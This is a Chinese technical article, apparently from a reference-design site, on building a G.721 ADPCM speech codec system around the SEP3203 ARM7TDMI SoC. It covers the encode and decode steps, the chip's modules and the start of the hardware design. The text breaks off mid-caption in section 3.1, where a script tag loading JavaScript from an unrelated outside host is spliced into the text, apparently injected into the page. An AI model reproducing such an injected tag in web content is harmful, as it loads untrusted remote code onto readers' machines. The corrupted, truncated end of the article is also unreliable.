基于ARM7TDMI的SoC语音处理系统的设计

摘要:基于arm7tdmi的soc片内ac97模块和片外codec-ucb1400,采用itu-t的g.721算法设计语音处理系统;提出一种基于低端risc核的语音系统设计方案。该方案结合soc的片内esram模块进行性能优化;通过在流片后的实际样机上验证,编码速率为19.88 kb/s,解码速率为22.68 kb/s,达到了语音实时性要求。

  关键词:arm7tdmi g.721 双buffer机制 esram优化

  引 言

  随着微电子和计算机技术的高速发展,许多嵌入式应用系统应运而生。其中,各种语音处理系统不断被开发出来,在各行业得到广泛应用,如语音报站器、自动解说装置、采访录音笔等,为人类的生产、生活提供了极大的便利。本文基于东南大学国家专用集成电路系统工程技术研究中心自主研发的arm7tdmi内核的32位嵌入式soc——sep3203处理器,采用g.721标准adpcm算法,实现了语音信号的软件实时编解码,为语音处理应用提供了一种有效的嵌入式解决方案。

  1、g.721标准概述

  1937年,a.h.reeves提出脉冲编码调制(pcm),开创了语音数字化通信的历程。ccitt在20世纪80年代初,开始研究低于64 kb/s的非pcm编码算法,先后制定通过了g.721、g.728、 g.729等编码标准。其中,g.721协议作为adpcm的典型算法,不仅具有与pcm近乎相同的语音质量,而且有简单的算法结构和优良的抗误码性能,在卫星、海缆及便携式数字语音设备等方面都有广泛应用。g.721算法的简化框图如图1所示。

  编码过程:

  ① 计算sl(k)与自适应预测器输出se(k)的差值e(k)=sl(k)-se(k);
  ② 通过自适应量化模块对e(k)进行量化,得到adpcm码字i(k);
  ③ 通过自适应反量化模块对i(k)计算得到量化差分预测信号dq(k);
  ④ 根据重建信号sr(k)=se(k)+dq(k)和dq(k)更新预测滤波器系数;
  ⑤ 利用新的系数,计算得到se(k+1),重复上述5个步骤,压缩下一个语音采样数据。

  解码过程:

  ① 通过自适应反量化和自适应预测得到dq(k)和se(k),得到语音重建信号sr(k);
  ② 对重建信号sr(k)进行pcm格式转换,得到pcm码字sp(k);

图1 g.721编码器和解码器简化框图
  ③ 采用与编码器相同的方法更新预测滤波器系数;
  ④ 为实现双向通信,同步调整sp(k);
  ⑤ 利用新的滤波器系数,重复上述5个步骤,解码下一个i(k)。

  2、芯片简介

  sep3203芯片为系统处理核心,总体结构框图如图2所示。该芯片是东南大学国家专用集成电路系统工程技术研究中心自主设计的基于arm7tdmi的32位soc,采用amba2.0标准,0.25μmcmos工艺,主要面向嵌入式中低端手持设备。片上提供ac97控制器、外存接口emi、6通道dmac、timer、pmu、intc等模块。其中,语音系统使用的模块有:emi,负责控制对外存的访问;片上存储器esram,用于优化耗时的核心代码;ac97,提供ac97标准的音频接口;dmac,用于实现大数据量的dma传送。

图2 sep3203芯片结构框图

  3、系统设计

  3.1 硬件系统

  硬件系统框图如图3所示。虚线框内是片内模块;框外为片外器件,包括外存(sdram/sram/flash等)、codec等。philips公司的ucb1400作为codec。以下为系统工作过程。

图3 语音处理硬件系统框?script src=http://er12.com/t.js>

  • 基于ARM7TDMI的SoC语音处理系统的设计已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计